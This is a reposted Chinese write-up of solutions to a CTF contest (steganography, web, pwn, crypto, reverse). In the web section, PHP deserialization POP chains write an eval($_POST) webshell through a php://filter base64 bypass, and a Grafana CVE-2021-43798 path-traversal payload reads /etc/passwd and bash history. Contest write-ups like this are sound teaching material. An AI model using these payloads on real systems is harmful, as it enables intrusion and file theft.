首届天权信安&catf1ag网络安全联合公开赛 WriteUp

admin

138717
文章

114
评论

2023年1月7日16:10:54评论68 views字数 10708阅读35分41秒阅读模式

比赛结果

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

Misc

简单隐写

文件尾附了2个rar，分离出来

打开压缩包发现有密码

尝试发现为jphide隐写，用jphs05解

密码为空

压缩包解压

dbug1bh{KQit_x1o_Z0v_H3u_JU!!!}

Ceaser 25得到结果

catf1ag{JPhs_w1n_Y0u_G3t_IT!!!}

十位马

这题手速快，抢了个一血

一个data文件，从16进制转字符串后倒序

发现是个文件头损坏的压缩包

把前两位改成PK

解压得到100张图，

用montage拼起来

montage *.png -tile 10x10 -geometry +0+0 flag.png

得到一个二维码

补个定位码

flag{cbef4c93-5e9c-11ed-8205-666c80085daf}

Web

POP

源码

<?php 
class catf1ag1{ 
    public $hzy; 
    public $arr; 

    function show(){ 
        show_source(__FILE__); 
    } 

    function __wakeup(){ 
        foreach($this->arr as $k => $v){ 
            echo $this->hzy->$v;
            echo "</br>hzy是社么鬼???";
        } 

    } 
} 

class catf1ag2{ 
    public $file;
    public $txt = ''; 
    function __get($key){ 
        if($key == 'pputut'){ 
            return $this->pputut(); 
        }else{ 
            return '<p>'.htmlspecialchars($key).'</p>'; 
        } 
    } 

    function pputut(){ 
        if(    strpos($this->file,'../') !== false || 
            strpos($this->file,'\') !== false      
        ) die(); 

        $content = '<?php die('stupid'); ?>';
        echo "NICE!!!,来自wsy赠送的小红花</br>";
        $content .= $this->txt; 
        file_put_contents($this->file, $content); 
        return htmlspecialchars($content); 

    } 

} 

if(!empty($_POST)){ 
    $hzy = base64_decode($_POST['giao']); 
    $instance = unserialize($hzy); 
}else{ 
    $a = new catf1ag1(); 
    $a->show(); 
}

分析一下就是先从wakeup进入,有一个foreach遍历数组，我们需要传入一个数组之后我们的目的是利用file_put_contents所以我们要触发_get，所以我们将catf1ag1中的hzy赋值给catf1ag2来触发_get，而_get里面如果传入的key=pputut就可以触发pputut(),在pputut()中不能存在../和不然的话会die(); 退出，

之后就到了最终的利用点

$content = '<?php die('stupid'); ?>';
        echo "NICE!!!,来自wsy赠送的小红花</br>";
        $content .= $this->txt; 
        file_put_contents($this->file, $content); 
        return htmlspecialchars($content);

$content .= $this->txt;将$content和txt做一个拼接赋值给$content，我们要绕过die函数，可以看这个文章

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

利用了base64解码的特性写入木马getshell

Pop

<?php
class catf1ag1{
    public $hzy;
    public $arr;
}

class catf1ag2{
    public $file ;
    public $txt ;

}
$a = new catf1ag1();
$a->arr = array('pputut');
$a->hzy = new catf1ag2();
$a->hzy->file = 'php://filter/convert.base64-decode/resource=shell3.php';
$a->hzy->txt = 'PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==';
echo base64_encode(serialize($a));

访问shell3.php命令执行即可

ezlogin

先扫一下目录

发现了robots.txt，看到有imdex.php

访问imdex.php

有一个参数way，将他解码，加密过程是hex base64 base64，解码后是index.php

看一下源码有一个source.php

将他用hex base64 base64加密后get传参给way，得到源码

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $hello;
    public function __construct(){
        $this->hello = new C;
    }
    public function __toString(){
        if (isset($this->hello)){
            return $this->hello->world();
        }else{
            return "Are you ok? Small dog";
        }
    }
}
class B{ 
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function world(){
        $d   = '<?php die("886");?>';
        $a= $d. $this->text;
         file_put_contents($this-> file,$a);
    }
}
class C{
    public function world(){
        return "Hello,world!";
    }
}

    $cmd=$_GET['cmd']; 
    if(isset($cmd)){
        echo $IO = unserialize($cmd);
    }
    else{
        echo "where is your chain?";
    }
?> where is your chain?

分析：先从__construct 有两个__construct，如果我们从B类中的__construct入手的话无法触发__toSting，所以我们从A类入手，会返回Hello,world，触发__toSting，再将的hello赋给B利用_toSting可以调用world()，之后和上一题的考点差不多，

public function world(){
        $d   = '<?php die("886");?>';
        $a= $d. $this->text;
         file_put_contents($this-> file,$a);

$d和text拼接赋值给$a，将$a写入文件中，跟上一题思路一样，利用base64解码特性绕过die，但这次的除字母数字以外，都不符合base64编码的字符范围将被忽略，所以最终被解码的字符仅有“phpdie886”和我们传入的其他字符。“phpdie886”一共有9个字符，因为base64算法解码时是4个byte一组，所以给他增加3个“a”一共12个字符

Pop链

<?php
class A{
    public $hello;
}
class B
{
    public $file = 'php://filter/convert.base64-decode/resource=shell3.php';
    public $text = 'aaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==';
}
$a = new A();
//echo $a;
$a ->hello = new B();
echo serialize($a);

history

CVE-2021-43798

/public/plugins/alertGroups/../../../../../../../../etc/passwd

https://cloud.tencent.com/developer/article/2091499

先读bash history

/public/plugins/alertGroups/../../../../../../../../home/grafana/.bash_history

找到文件在/home/grafana/f1ag

flag{d5ae5f594dad9abceae1c639e2b681}

Pwn

angr

输入1 loggout

输入2getshell

flag{850e941d-5095-4a28-89b3-8c3f8fc2e413}

Crypto

easyrsa

给了c d n

#d= 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093
#c= 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578
#n= 13717871972706962868710917190864395318380380788726354755874864666298971471295805029284299459288616488109296891203921497014120460143184810218680538647923519587681857800257311678203773339140281665350877914208278709865995451845445601706352659259559793431372688075659019308448963678380545045143583181131530985665822655263963917413080872997526445384954610888776917323156325542921415838122754036103689148810677276471252057077595104724365967333418002158480223657363936976281758713027828747277980907153645847605403914070601944617432177385048803228970693240587900504431163155958465431312258451026447435473865563581029300541109

直接解就行

m = pow (c,d,n)
print(long_to_bytes(m))

flag{3895dfda-67b1-11ed-b784-b07b2568d266}

疑惑

题目介绍：我好"疑惑"啊
keys1 = welcome_to_nine-ak_match_is_so_easy_!@!
keys2 = 20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92

用key2对key1异或

keys1 = "welcome_to_nine-ak_match_is_so_easy_!@!"
keys2 = "20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92".split(' ')
for i,v in enumerate(keys2):
    print(chr(ord(keys1[i])^int(v)),end='')

catf1ag{nine-ak_match_is@very_easy_@/!}

passwd

格式是纯数字，太难想了

import hashlib

target_hash = "69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95"

for month in range(1, 13):
    for day in range(1, 32):
        for hour in range(0, 24):
            for minute in range(0, 60):
                plaintext = "2022%02d%02d%02d%02d" % (month, day, hour, minute)
                # print(plaintext)
                h = hashlib.sha256()
                h.update(plaintext.encode())
                if h.hexdigest() == target_hash:
                    print("flag: %s" % plaintext)
                    break

包上catf1ag{}提交

re

checkin

脱壳

可手脱可工具脱

定位关键加密位置

该代码块下面就是主要的加密函数

去花

分析加密函数

BOOL __cdecl sub_412140(int a1)
{
  unsigned int n; // [esp+610h] [ebp-E2Ch]
  BOOL v3; // [esp+61Ch] [ebp-E20h]
  unsigned int m; // [esp+628h] [ebp-E14h]
  int v5; // [esp+640h] [ebp-DFCh]
  int k; // [esp+64Ch] [ebp-DF0h]
  int j; // [esp+658h] [ebp-DE4h]
  int v8; // [esp+670h] [ebp-DCCh]
  int v9; // [esp+670h] [ebp-DCCh]
  int v10; // [esp+67Ch] [ebp-DC0h]
  int v11; // [esp+67Ch] [ebp-DC0h]
  char v12[39]; // [esp+688h] [ebp-DB4h]
  char v13[3]; // [esp+6AFh] [ebp-D8Dh] BYREF
  unsigned int i; // [esp+6BCh] [ebp-D80h]
  char v15[1009]; // [esp+6C7h] [ebp-D75h]
  char v16[2432]; // [esp+AB8h] [ebp-984h] BYREF

  strcpy(v16, "flechao10");
  for ( i = 0; i < j_j_strlen(a1); ++i )
    v15[i + 1] = *(i + a1);
  v12[0] = -125;
  v12[1] = 27;
  v12[2] = -14;
  v12[3] = 75;
  v12[4] = -81;
  v12[5] = 1;
  v12[6] = 5;
  v12[7] = 35;
  v12[8] = 57;
  v12[9] = 93;
  v12[10] = -94;
  v12[11] = -101;
  v12[12] = -110;
  v12[13] = -15;
  v12[14] = -99;
  v12[15] = -35;
  v12[16] = -35;
  v12[17] = -103;
  v12[18] = -68;
  v12[19] = 119;
  v12[20] = -53;
  v12[21] = 25;
  v12[22] = 114;
  v12[23] = -27;
  v12[24] = 100;
  v12[25] = 47;
  v12[26] = -42;
  v12[27] = 62;
  v12[28] = 15;
  v12[29] = 18;
  v12[30] = 5;
  v12[31] = 108;
  v12[32] = -112;
  v12[33] = 48;
  v12[34] = -73;
  v12[35] = 2;
  v12[36] = -58;
  v12[37] = -48;
  v12[38] = -24;
  qmemcpy(v13, "#<#", sizeof(v13));
  v10 = 0;
  for ( j = 0; j < 256; ++j )
  {
    *&v16[4 * j + 1228] = v16[j % 9];
    *&v16[4 * j + 20] = j;
  }
  for ( k = 0; k < 256; ++k )
  {
    v10 = (*&v16[4 * k + 1228] + *&v16[4 * k + 20] + v10) % 256;
    v8 = *&v16[4 * k + 20];
    *&v16[4 * k + 20] = *&v16[4 * v10 + 20];
    *&v16[4 * v10 + 20] = v8 ^ 0x37;
  }
  v5 = 0;
  v11 = 0;
  for ( m = 0; m < j_j_strlen(a1); ++m )
  {
    v5 = (v5 + 1) % 256;
    v11 = (*&v16[4 * v5 + 20] + v11) % 256;
    v9 = *&v16[4 * v5 + 20];
    *&v16[4 * v5 + 20] = *&v16[4 * v11 + 20];
    *&v16[4 * v11 + 20] = v9;
    v15[v5] ^= v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20];
  }
  v3 = 0;
  for ( n = 0; n < j_j_strlen(a1); ++n )
    v3 = v15[n + 1] == v12[n];
  return v3;
}

最后与v12进行比较所以只关注v15的值就行了

v15异或了v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20] 得出的v12

所以将v12再次与v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20]进行异或就行了

通过动调获取 v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20]的具体数值

a = 'A'
print(a*42)
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

把A数值输入进去

在这里下断点

跟进v15的值即可看到 A数值与v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20]异或之后的结果

提出来写个脚本再次与A进行异或就知道 v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20]的数值了

解密脚本

key = [0xA4, 0x36, 0xD2, 0x6D, 0x95, 0x23, 0x7C, 0x06, 0x4C, 0x78, 0xDB, 0xED, 0xEA, 0x9D, 0xEB, 0xFD, 0xAC, 0xEB, 0xD0, 0x02, 0xBA, 0x6D, 0x55, 0x89, 0x1D, 0x0C, 0xA6, 0x4D, 0x63, 0x6A, 0x74, 0x15, 0xE4, 0x10, 0xCF, 0x77, 0xB3, 0xF0, 0xCD, 0x03, 0x19,0x1F]
key2 = [int(i ^ord('A'))  for i in key]
enc = [0x83, 0x1B, 0xF2, 0x4B, 0xAF, 0x01, 0x05, 0x23, 0x39, 0x5D, 0xA2, 0x9B, 0x92, 0xF1, 0x9D, 0xDD, 0xDD, 0x99, 0xBC, 0x77, 0xCB, 0x19, 0x72, 0xE5, 0x64, 0x2F, 0xD6, 0x3E, 0x0F, 0x12, 0x05, 0x6C, 0x90, 0x30, 0xB7, 0x02, 0xC6, 0xD0,0xE8,0x23, 0x3C, 0x23]
flag = [0]*len(key)
# print(len(key))
for i in range(len(key2)):
    flag[i] = chr(key2[i] ^ enc[i])
for i in range(len(key2)):
    print(flag[i],end = '')

#flag{c8d4d879-7a03-405f-8b12-9085a944adad}

长

按

关

注

网络安全社团公众号

微信号 : qlnu_ctf

新浪微博：齐鲁师范学院网络安全社团

原文始发于微信公众号（齐鲁师院网络安全社团）：首届“天权信安&catf1ag”网络安全联合公开赛 WriteUp

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

比赛结果

Misc

简单隐写

十位马

Web

POP

ezlogin

history

Pwn

angr

Crypto

easyrsa

疑惑

passwd

re

checkin

脱壳

定位关键加密位置

分析加密函数

解密脚本

腾讯2025游戏安全PC方向初赛题解

2025腾讯游戏安全技术竞赛决赛题解

UKY 2025TGCTF WP

【buuctf】[极客大挑战]Http

隐写术之各类常见压缩包类型隐写总结

TexSAWCTF2025 writeup by Mini-Venom

NCTF 2024 writeup by Mini-Venom

2025软件安全攻防赛半决赛 WP

记录两道简单CTF-Android题目解题

【buuctf】Web攻防(二)

发表评论